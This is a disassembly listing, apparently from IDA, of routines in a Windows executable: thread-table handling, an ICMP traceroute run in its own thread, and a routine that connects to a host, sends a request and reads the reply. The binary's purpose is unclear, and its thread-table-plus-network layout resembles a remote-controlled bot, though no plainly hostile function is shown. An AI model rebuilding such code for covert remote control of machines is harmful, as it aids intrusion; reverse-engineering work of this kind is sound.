		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		cmp	dword_41E2C0, 0
		jz	short loc_409B25
		push	10h
		push	dword_41E2C0
		push	offset dword_4194EC
		lea	eax, [ebp+var_1A8]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	short loc_409B3F
; ---------------------------------------------------------------------------


loc_409B25:				; CODE XREF: sub_409AD5+30j
		push	offset dword_4194CC
		lea	eax, [ebp+var_1A8]
		push	eax
		call	sub_40D53F
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	locret_409BED
; ---------------------------------------------------------------------------


loc_409B3F:				; CODE XREF: sub_409AD5+4Ej
		push	offset dword_41E2A8
		call	sub_409C6C
		pop	ecx
		and	[ebp+var_10], 0
		and	[ebp+var_4], 0
		jmp	short loc_409B5B
; ---------------------------------------------------------------------------


loc_409B54:				; CODE XREF: sub_409AD5:loc_409BDBj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_409B5B:				; CODE XREF: sub_409AD5+7Dj
		cmp	[ebp+var_4], 10h
		jge	short loc_409BE0
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		cmp	dword ptr [ecx+eax+8], 0
		jz	short loc_409BDB
		push	offset dword_41E2A8
		call	sub_409C7A
		pop	ecx
		push	3E8h
		call	dword_41709C	; Sleep
		push	offset dword_41E2A8
		call	sub_409C6C
		pop	ecx
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		lea	eax, [ecx+eax+14h]
		push	eax
		push	[ebp+var_4]
		push	offset dword_4194BC
		lea	eax, [ebp+var_1A8]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		cmp	dword ptr [ecx+eax+4], 0
		jz	short loc_409BDB
		jmp	short loc_409BE0
; ---------------------------------------------------------------------------


loc_409BDB:				; CODE XREF: sub_409AD5+A0j
					; sub_409AD5+102j
		jmp	loc_409B54
; ---------------------------------------------------------------------------


loc_409BE0:				; CODE XREF: sub_409AD5+8Aj
					; sub_409AD5+104j
		push	offset dword_41E2A8
		call	sub_409C7A
		pop	ecx
		xor	eax, eax

locret_409BED:				; CODE XREF: sub_409AD5+65j
		leave
		retn	4
sub_409AD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409BF1	proc near		; CODE XREF: sub_40A9CF+AFBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A3h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_409C0B
		jmp	short locret_409C34
; ---------------------------------------------------------------------------


loc_409C0B:				; CODE XREF: sub_409BF1+16j
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	[ebp+arg_0]
		push	offset sub_409AD5
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short locret_409C34
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx

locret_409C34:				; CODE XREF: sub_409BF1+18j
					; sub_409BF1+38j
		leave
		retn
sub_409BF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C36	proc near		; CODE XREF: sub_405FA3+9p
					; sub_40938F+1Fp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	18h
		push	0
		push	[ebp+arg_0]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		cmp	dword_41DE10, 0
		jz	short loc_409C61
		push	80000400h
		push	[ebp+arg_0]
		call	dword_41DE10	; InitializeCriticalSectionAndSpinCount
		jmp	short loc_409C6A
; ---------------------------------------------------------------------------


loc_409C61:				; CODE XREF: sub_409C36+19j
		push	[ebp+arg_0]
		call	dword_4170E4	; InitializeCriticalSection


loc_409C6A:				; CODE XREF: sub_409C36+29j
		pop	ebp
		retn
sub_409C36	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C6C	proc near		; CODE XREF: sub_406041+10p
					; sub_4095A4+Bp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	dword_4170EC	; RtlEnterCriticalSection
		pop	ebp
		retn
sub_409C6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C7A	proc near		; CODE XREF: sub_406041+26p
					; sub_406041+307p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	dword_41710C	; RtlLeaveCriticalSection
		pop	ebp
		retn
sub_409C7A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C88	proc near		; CODE XREF: sub_40332B+10p
					; sub_41113B+7EDp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		lock xadd [esi], eax
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_409C88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C9D	proc near		; CODE XREF: sub_4042FB+17p
					; sub_4042FB+25p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		lock xchg eax, [esi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_409C9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409CB1	proc near		; CODE XREF: sub_409DD0+202p

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		call	dword_41E2CC
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0FFFFFFFFh
		jnz	short loc_409CD8
		push	offset aCouldNotGetAVa ; "Could	not get	a valid	ICMP handle\n"
		call	sub_416DD8	; printf
		pop	ecx
		xor	eax, eax
		jmp	locret_409DCE
; ---------------------------------------------------------------------------


loc_409CD8:				; CODE XREF: sub_409CB1+13j
		push	8
		push	0
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	al, [ebp+arg_8]
		mov	[ebp+var_18], al
		movzx	eax, [ebp+arg_10]
		push	eax
		call	sub_416DD2
		pop	ecx
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_C], eax
		movzx	eax, [ebp+arg_10]
		push	eax
		push	45h
		push	[ebp+var_C]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		movzx	eax, [ebp+arg_10]
		cmp	eax, 8
		jge	short loc_409D26
		mov	[ebp+var_38], 8
		jmp	short loc_409D2D
; ---------------------------------------------------------------------------


loc_409D26:				; CODE XREF: sub_409CB1+6Aj
		movzx	eax, [ebp+arg_10]
		mov	[ebp+var_38], eax


loc_409D2D:				; CODE XREF: sub_409CB1+73j
		mov	eax, [ebp+var_38]
		add	eax, 1Ch
		mov	[ebp+var_24], eax
		push	[ebp+var_24]
		call	sub_416DD2
		pop	ecx
		mov	[ebp+var_2C], eax
		mov	eax, [ebp+var_2C]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_4], eax
		push	[ebp+arg_C]
		push	[ebp+var_24]
		push	[ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		movzx	ax, [ebp+arg_10]
		push	eax
		push	[ebp+var_C]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		call	dword_41E2D8
		mov	[ebp+var_20], eax
		mov	[ebp+var_8], 1
		cmp	[ebp+var_20], 1
		jz	short loc_409D8D
		call	dword_417064	; RtlGetLastWin32Error
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		jmp	short loc_409DA4
; ---------------------------------------------------------------------------


loc_409D8D:				; CODE XREF: sub_409CB1+CDj
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	ecx, [ecx]
		mov	[eax+4], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	ecx, [ecx+8]
		mov	[eax+8], ecx


loc_409DA4:				; CODE XREF: sub_409CB1+DAj
		push	[ebp+var_1C]
		call	dword_41E2D4
		mov	eax, [ebp+var_C]
		mov	[ebp+var_30], eax
		push	[ebp+var_30]
		call	sub_416DCC
		pop	ecx
		mov	eax, [ebp+var_10]
		mov	[ebp+var_34], eax
		push	[ebp+var_34]
		call	sub_416DCC
		pop	ecx
		mov	eax, [ebp+var_8]

locret_409DCE:				; CODE XREF: sub_409CB1+22j
		leave
		retn
sub_409CB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409DD0	proc near		; DATA XREF: sub_40A1A7+FDo

var_2F0		= dword	ptr -2F0h
var_2EC		= dword	ptr -2ECh
var_2E8		= dword	ptr -2E8h
var_2E4		= dword	ptr -2E4h
var_2E0		= dword	ptr -2E0h
var_2DC		= dword	ptr -2DCh
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= dword	ptr -2C4h
var_2C0		= dword	ptr -2C0h
var_2BC		= dword	ptr -2BCh
var_2B8		= dword	ptr -2B8h
var_2B4		= dword	ptr -2B4h
var_2B0		= byte ptr -2B0h
var_10D		= byte ptr -10Dh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2F0h
		push	2ACh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2B0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		movzx	eax, byte_41E2E0
		test	eax, eax
		jnz	short loc_409E6D
		push	offset aIcmp_dll ; "ICMP.DLL"
		call	dword_417054	; LoadLibraryA
		mov	dword_41E2D0, eax
		cmp	dword_41E2D0, 0
		jnz	short loc_409E24
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------


loc_409E24:				; CODE XREF: sub_409DD0+4Bj
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	dword_41E2D0
		call	dword_417058	; GetProcAddress
		mov	dword_41E2CC, eax
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	dword_41E2D0
		call	dword_417058	; GetProcAddress
		mov	dword_41E2D8, eax
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	dword_41E2D0
		call	dword_417058	; GetProcAddress
		mov	dword_41E2D4, eax
		mov	byte_41E2E0, 1


loc_409E6D:				; CODE XREF: sub_409DD0+32j
		cmp	dword_41E2CC, 0
		jnz	short loc_409E7D
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------


loc_409E7D:				; CODE XREF: sub_409DD0+A4j
		cmp	dword_41E2D8, 0
		jnz	short loc_409E8D
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------


loc_409E8D:				; CODE XREF: sub_409DD0+B4j
		cmp	dword_41E2D4, 0
		jnz	short loc_409E9D
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------


loc_409E9D:				; CODE XREF: sub_409DD0+C4j
		lea	eax, [ebp+var_10D]
		mov	[ebp+var_2B8], eax
		push	[ebp+var_2B8]
		call	dword_417244	; inet_addr
		mov	[ebp+var_2BC], eax
		cmp	[ebp+var_2BC], 0FFFFFFFFh
		jnz	short loc_409F18
		push	[ebp+var_2B8]
		call	dword_41723C	; gethostbyname
		mov	[ebp+var_2C0], eax
		cmp	[ebp+var_2C0], 0
		jz	short loc_409F06
		mov	eax, [ebp+var_2C0]
		movsx	eax, word ptr [eax+0Ah]
		push	eax
		mov	eax, [ebp+var_2C0]
		mov	eax, [eax+0Ch]
		push	dword ptr [eax]
		lea	eax, [ebp+var_2BC]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		jmp	short loc_409F18
; ---------------------------------------------------------------------------


loc_409F06:				; CODE XREF: sub_409DD0+10Dj
		push	offset aCouldNotResolv ; "Could	not resolve name"
		call	sub_416DD8	; printf
		pop	ecx
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------


loc_409F18:				; CODE XREF: sub_409DD0+F2j
					; sub_409DD0+134j
		and	[ebp+var_4], 0
		mov	byte ptr [ebp+var_2B4],	1
		jmp	short loc_409F33
; ---------------------------------------------------------------------------


loc_409F25:				; CODE XREF: sub_409DD0:loc_40A19Cj
		mov	al, byte ptr [ebp+var_2B4]
		add	al, 1
		mov	byte ptr [ebp+var_2B4],	al


loc_409F33:				; CODE XREF: sub_409DD0+153j
		movzx	eax, byte ptr [ebp+var_2B4]
		movzx	ecx, [ebp+var_D]
		cmp	eax, ecx
		jg	loc_40A1A1
		cmp	[ebp+var_4], 0
		jnz	loc_40A1A1
		and	[ebp+var_2EC], 0
		or	[ebp+var_2E4], 0FFFFFFFFh
		and	[ebp+var_2E0], 0
		and	[ebp+var_2DC], 0
		and	[ebp+var_2D0], 0
		and	[ebp+var_2C8], 0
		and	[ebp+var_2CC], 0
		and	[ebp+var_2D8], 0
		and	[ebp+var_2D4], 0
		jmp	short loc_409F9E
; ---------------------------------------------------------------------------


loc_409F91:				; CODE XREF: sub_409DD0:loc_40A04Ej
		mov	eax, [ebp+var_2D4]
		inc	eax
		mov	[ebp+var_2D4], eax


loc_409F9E:				; CODE XREF: sub_409DD0+1BFj
		mov	eax, [ebp+var_2D4]
		cmp	eax, [ebp+var_8]
		jnb	loc_40A053
		cmp	[ebp+var_2D8], 0
		jnz	loc_40A053
		push	20h
		push	[ebp+var_C]
		push	[ebp+var_2B4]
		lea	eax, [ebp+var_2CC]
		push	eax
		push	[ebp+var_2BC]
		call	sub_409CB1
		add	esp, 14h
		test	eax, eax
		jz	short loc_40A047
		cmp	[ebp+var_2CC], 0
		jnz	short loc_40A02F
		mov	eax, [ebp+var_2D0]
		add	eax, [ebp+var_2C4]
		mov	[ebp+var_2D0], eax
		mov	eax, [ebp+var_2C4]
		cmp	eax, [ebp+var_2E4]
		jnb	short loc_40A013
		mov	eax, [ebp+var_2C4]
		mov	[ebp+var_2E4], eax


loc_40A013:				; CODE XREF: sub_409DD0+235j
		mov	eax, [ebp+var_2C4]
		cmp	eax, [ebp+var_2DC]
		jbe	short loc_40A02D
		mov	eax, [ebp+var_2C4]
		mov	[ebp+var_2DC], eax


loc_40A02D:				; CODE XREF: sub_409DD0+24Fj
		jmp	short loc_40A045
; ---------------------------------------------------------------------------


loc_40A02F:				; CODE XREF: sub_409DD0+215j
		mov	eax, [ebp+var_2CC]
		mov	[ebp+var_2EC], eax
		mov	[ebp+var_2D8], 1


loc_40A045:				; CODE XREF: sub_409DD0:loc_40A02Dj
		jmp	short loc_40A04E
; ---------------------------------------------------------------------------


loc_40A047:				; CODE XREF: sub_409DD0+20Cj
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------


loc_40A04E:				; CODE XREF: sub_409DD0:loc_40A045j
		jmp	loc_409F91
; ---------------------------------------------------------------------------


loc_40A053:				; CODE XREF: sub_409DD0+1D7j
					; sub_409DD0+1E4j
		mov	eax, [ebp+var_2C8]
		mov	[ebp+var_2E8], eax
		cmp	[ebp+var_2EC], 0
		jnz	short loc_40A07B
		mov	eax, [ebp+var_2D0]
		xor	edx, edx
		div	[ebp+var_8]
		mov	[ebp+var_2E0], eax
		jmp	short loc_40A090
; ---------------------------------------------------------------------------


loc_40A07B:				; CODE XREF: sub_409DD0+296j
		and	[ebp+var_2E4], 0
		and	[ebp+var_2E0], 0
		and	[ebp+var_2DC], 0


loc_40A090:				; CODE XREF: sub_409DD0+2A9j
		cmp	[ebp+var_2EC], 0
		jnz	loc_40A165
		push	2
		push	4
		lea	eax, [ebp+var_2E8]
		push	eax
		call	dword_417220	; gethostbyaddr
		mov	[ebp+var_2F0], eax
		cmp	[ebp+var_2F0], 0
		jz	short loc_40A115
		movzx	eax, byte ptr [ebp+var_2E8+3]
		push	eax
		movzx	eax, byte ptr [ebp+var_2E8+2]
		push	eax
		movzx	eax, byte ptr [ebp+var_2E8+1]
		push	eax
		movzx	eax, byte ptr [ebp+var_2E8]
		push	eax
		mov	eax, [ebp+var_2F0]
		push	dword ptr [eax]
		push	[ebp+var_2DC]
		push	[ebp+var_2E0]
		push	[ebp+var_2E4]
		movzx	eax, byte ptr [ebp+var_2B4]
		push	eax
		push	offset dword_419594
		lea	eax, [ebp+var_2B0]
		push	eax
		call	sub_40D53F
		add	esp, 2Ch
		jmp	short loc_40A163
; ---------------------------------------------------------------------------


loc_40A115:				; CODE XREF: sub_409DD0+2EBj
		movzx	eax, byte ptr [ebp+var_2E8+3]
		push	eax
		movzx	eax, byte ptr [ebp+var_2E8+2]
		push	eax
		movzx	eax, byte ptr [ebp+var_2E8+1]
		push	eax
		movzx	eax, byte ptr [ebp+var_2E8]
		push	eax
		push	[ebp+var_2DC]
		push	[ebp+var_2E0]
		push	[ebp+var_2E4]
		movzx	eax, byte ptr [ebp+var_2B4]
		push	eax
		push	offset dword_419568
		lea	eax, [ebp+var_2B0]
		push	eax
		call	sub_40D53F
		add	esp, 28h


loc_40A163:				; CODE XREF: sub_409DD0+343j
		jmp	short loc_40A187
; ---------------------------------------------------------------------------


loc_40A165:				; CODE XREF: sub_409DD0+2C7j
		push	[ebp+var_2EC]
		movzx	eax, byte ptr [ebp+var_2B4]
		push	eax
		push	offset dword_419540
		lea	eax, [ebp+var_2B0]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_40A187:				; CODE XREF: sub_409DD0:loc_40A163j
		mov	eax, [ebp+var_2BC]
		cmp	eax, [ebp+var_2E8]
		jnz	short loc_40A19C
		mov	[ebp+var_4], 1


loc_40A19C:				; CODE XREF: sub_409DD0+3C3j
		jmp	loc_409F25
; ---------------------------------------------------------------------------


loc_40A1A1:				; CODE XREF: sub_409DD0+170j
					; sub_409DD0+17Aj
		xor	eax, eax

locret_40A1A3:				; CODE XREF: sub_409DD0+4Fj
					; sub_409DD0+A8j ...
		leave
		retn	4
sub_409DD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A1A7	proc near		; CODE XREF: sub_40A9CF+FAEp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		cmp	[ebp+arg_4], 0
		jnz	short loc_40A1C7
		push	offset unk_419618
		push	[ebp+arg_0]
		call	sub_40D53F
		pop	ecx
		pop	ecx
		jmp	locret_40A2D0
; ---------------------------------------------------------------------------


loc_40A1C7:				; CODE XREF: sub_40A1A7+Aj
		push	2ACh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40A1E0
		jmp	locret_40A2D0
; ---------------------------------------------------------------------------


loc_40A1E0:				; CODE XREF: sub_40A1A7+32j
		push	1A3h
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 1A3h
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_40A22A
		push	[ebp+arg_8]
		call	sub_416B9C	; atoi
		pop	ecx
		cmp	eax, 0FFh
		jg	short loc_40A22A
		push	[ebp+arg_8]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_10], eax
		jmp	short loc_40A231
; ---------------------------------------------------------------------------


loc_40A22A:				; CODE XREF: sub_40A1A7+63j
					; sub_40A1A7+73j
		mov	[ebp+var_10], 1Eh


loc_40A231:				; CODE XREF: sub_40A1A7+81j
		mov	eax, [ebp+var_4]
		mov	cl, byte ptr [ebp+var_10]
		mov	[eax+2A3h], cl
		cmp	[ebp+arg_C], 0
		jz	short loc_40A261
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		cmp	eax, 927C0h
		jg	short loc_40A261
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_14], eax
		jmp	short loc_40A268
; ---------------------------------------------------------------------------


loc_40A261:				; CODE XREF: sub_40A1A7+9Aj
					; sub_40A1A7+AAj
		mov	[ebp+var_14], 7530h


loc_40A268:				; CODE XREF: sub_40A1A7+B8j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_14]
		mov	[eax+2A4h], ecx
		cmp	[ebp+arg_10], 0
		jz	short loc_40A288
		push	[ebp+arg_10]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_18], eax
		jmp	short loc_40A28F
; ---------------------------------------------------------------------------


loc_40A288:				; CODE XREF: sub_40A1A7+D1j
		mov	[ebp+var_18], 3


loc_40A28F:				; CODE XREF: sub_40A1A7+DFj
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_18]
		mov	[eax+2A8h], ecx
		lea	eax, [ebp+var_C]
		push	eax
		push	0
		push	[ebp+var_4]
		push	offset sub_409DD0
		push	0
		push	0
		call	dword_4170B4	; CreateThread
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_40A2C7
		push	[ebp+var_4]
		call	sub_416B4C	; free
		pop	ecx
		jmp	short locret_40A2D0
; ---------------------------------------------------------------------------


loc_40A2C7:				; CODE XREF: sub_40A1A7+113j
		push	[ebp+var_8]
		call	dword_4170A4	; CloseHandle

locret_40A2D0:				; CODE XREF: sub_40A1A7+1Bj
					; sub_40A1A7+34j ...
		leave
		retn
sub_40A1A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A2D2	proc near		; CODE XREF: sub_40A4A4+30p

var_111C	= dword	ptr -111Ch
var_1118	= dword	ptr -1118h
var_1114	= byte ptr -1114h
var_114		= byte ptr -114h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 111Ch
		call	sub_416BC0
		mov	eax, [ebp+arg_0]
		add	eax, 4
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, 104h
		push	eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		push	dword ptr [eax]
		push	offset dword_41966C
		mov	eax, [ebp+arg_0]
		add	eax, 204h
		push	eax
		call	sub_40D53F
		add	esp, 14h
		push	2710h
		push	0
		push	offset dword_419668
		mov	eax, [ebp+arg_0]
		add	eax, 104h
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_40A339
		xor	al, al
		jmp	locret_40A4A2
; ---------------------------------------------------------------------------


loc_40A339:				; CODE XREF: sub_40A2D2+5Ej
		mov	eax, [ebp+arg_0]
		add	eax, 4
		push	eax
		push	offset dword_419660
		lea	eax, [ebp+var_114]
		push	eax
		call	dword_4171E0	; wsprintfA
		add	esp, 0Ch
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		push	[ebp+var_8]
		call	sub_4053BF
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40A38F
		push	[ebp+var_8]
		call	sub_40538D
		pop	ecx
		xor	al, al
		jmp	locret_40A4A2
; ---------------------------------------------------------------------------


loc_40A38F:				; CODE XREF: sub_40A2D2+ABj
		push	1000h
		lea	eax, [ebp+var_1114]
		push	eax
		push	[ebp+var_8]
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_40A3B5
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_40A3C5


loc_40A3B5:				; CODE XREF: sub_40A2D2+DBj
		push	[ebp+var_8]
		call	sub_40538D
		pop	ecx
		xor	al, al
		jmp	locret_40A4A2
; ---------------------------------------------------------------------------


loc_40A3C5:				; CODE XREF: sub_40A2D2+E1j
		lea	eax, [ebp+var_1114]
		mov	[ebp+var_10], eax


loc_40A3CE:				; CODE XREF: sub_40A2D2:loc_40A492j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_111C],	eax
		mov	eax, [ebp+var_111C]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A3E9
		jmp	loc_40A497
; ---------------------------------------------------------------------------


loc_40A3E9:				; CODE XREF: sub_40A2D2+110j
		push	[ebp+var_111C]
		call	sub_407B5E
		pop	ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_111C]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40A41B
		push	offset dword_418F4C
		push	[ebp+var_111C]
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40A442


loc_40A41B:				; CODE XREF: sub_40A2D2+131j
		mov	eax, [ebp+var_111C]
		lea	ecx, [ebp+var_1114]
		cmp	eax, ecx
		jz	short loc_40A440
		push	offset dword_41965C
		mov	eax, [ebp+arg_0]
		add	eax, 204h
		push	eax
		call	sub_40D53F
		pop	ecx
		pop	ecx


loc_40A440:				; CODE XREF: sub_40A2D2+157j
		jmp	short loc_40A458
; ---------------------------------------------------------------------------


loc_40A442:				; CODE XREF: sub_40A2D2+147j
		push	[ebp+var_111C]
		mov	eax, [ebp+arg_0]
		add	eax, 204h
		push	eax
		call	sub_40D53F
		pop	ecx
		pop	ecx


loc_40A458:				; CODE XREF: sub_40A2D2:loc_40A440j
		push	3E8h
		call	dword_41709C	; Sleep
		push	offset dword_41E2A8
		call	sub_409C6C
		pop	ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	eax, [eax+4]
		mov	[ebp+var_1118],	eax
		push	offset dword_41E2A8
		call	sub_409C7A
		pop	ecx
		cmp	[ebp+var_1118],	0
		jz	short loc_40A492
		jmp	short loc_40A497
; ---------------------------------------------------------------------------


loc_40A492:				; CODE XREF: sub_40A2D2+1BCj
		jmp	loc_40A3CE
; ---------------------------------------------------------------------------


loc_40A497:				; CODE XREF: sub_40A2D2+112j
					; sub_40A2D2+1BEj
		push	[ebp+var_8]
		call	sub_40538D
		pop	ecx
		mov	al, 1

locret_40A4A2:				; CODE XREF: sub_40A2D2+62j
					; sub_40A2D2+B8j ...
		leave
		retn
sub_40A2D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A4A4	proc near		; DATA XREF: sub_40A50E+A1o

var_3A8		= dword	ptr -3A8h
var_2A4		= byte ptr -2A4h
var_1A4		= byte ptr -1A4h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3A8h
		push	3A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3A8]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_3A8]
		push	eax
		call	sub_40A2D2
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jnz	short loc_40A4FC
		lea	eax, [ebp+var_2A4]
		push	eax
		push	offset dword_419698
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_40A4FC:				; CODE XREF: sub_40A4A4+3Bj
		push	[ebp+var_3A8]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_40A4A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A50E	proc near		; CODE XREF: sub_40A9CF+FE3p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_40A51D
		jmp	locret_40A5BC
; ---------------------------------------------------------------------------


loc_40A51D:				; CODE XREF: sub_40A50E+8j
		push	3A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40A536
		jmp	locret_40A5BC
; ---------------------------------------------------------------------------


loc_40A536:				; CODE XREF: sub_40A50E+21j
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
